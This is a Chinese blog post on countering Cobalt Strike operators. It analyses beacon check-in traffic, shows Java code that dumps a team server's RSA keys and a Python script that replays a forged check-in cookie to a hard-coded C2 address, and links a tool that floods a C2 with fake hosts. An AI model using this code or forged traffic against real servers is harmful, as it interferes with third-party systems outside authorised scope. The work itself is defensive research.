CS反制之批量伪装上线

分析原理:
我们利用Wireshark抓包工具分析一下Cobalt Strike的上线过程是怎么样的
在这里插入图片描述
点击木马,主机上线并抓包
在这里插入图片描述
查看数据包
在这里插入图片描述
在这里插入图片描述
可以看到cookie是一串非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密
我们对Cookie解密看看,网上找到了相关的代码提取Private Key与Public Key
(注意,实战中我们肯定拿不到Private Key的,这里只是弄出来分析一下加密的Cookie里有啥)
代码如下:
DumpKeys.java:

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
{   
    public static void main(String[] args)
    {
        try {
            File file = new File(".cobaltstrike.beacon_keys");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {
           System.out.println("Could not read asymmetric keys");
        }
    }
}

有一个坑点:
代码注意要在JDK11版本下运行。还要把这个java文件放置在CS服务器的CS文件夹下,与“cobaltstrike.jar“同一个目录下。
命令:

java -cp cobaltstrike.jar DumpKeys.java

在这里插入图片描述
用rsa网站解密https://the-x.cn/cryptography/Rsa.aspx

在这里插入图片描述
可以看到解密出的数据有我们的元数据,HTTP类型Beacon上线包里的Cookie是RSA加密过的主机元数据
既然知道上线的流量过程,那么我们模拟Cobalt Strike模拟重放一下上线的过程
写类似爬虫请求:

import requests

url = "http://185.239.225.205:83/en_US/all.js"

header = {
    "User-Agent" : "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)",
    "Accept" : "*/*",
    "Cookie" : "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=",
    "Connection" : "Keep-Alive",
    "Cache-Control" : "Cache-Control"
}

r = requests.get(url,headers=header);
print(r.url)
print(r.text)
print(r.headers)
print(r.status_code)

在这里插入图片描述
在这里插入图片描述
可以看到时间为1s,跟之前的43s比,这是最新的请求,如下:
在这里插入图片描述
数据包中的核心是加密后的Cookie,我们进行伪造,达到假的主机上线效果
Stager Url校验算法Beacon配置的解密算法
其实Stager就是小马拉大马的操作,上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URL下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。
(这个URL作为特征也可以用来识别CS服务器,做网络测绘,某Quake就是这么做的)
如何得到那个URL?
CS中Stager URL校验算法,就是生成4位的随机校验码,将校验码拼接到URL后面即可请求到Stage的代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
拿到Stage

Beacon配置解密
这里进行解密操作:
https://github.com/Sentinel-One/CobaltStrikeParser

在这里插入图片描述

解密后可以看到:公钥PublicKey以及CS服务器地址
坑点:
Public key别忘了要删点后面的无效Padding正确的格式是MIGfXXXXXXXXXXXXXXXX==也就是说我图中的Public Key 后面那一堆AAAAA要删掉

这里直接使用脚本来解密beacon的publickey
脚本链接:https://github.com/LiAoRJ/CS_fakesubmit
命令:

python3 cs_fakesubmit.py

使用方法:
在这里插入图片描述
脚本效果如下:
在这里插入图片描述

可以看到成功伪造上线,对攻击者造成大量混乱
在这里插入图片描述

这是50次的效果

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值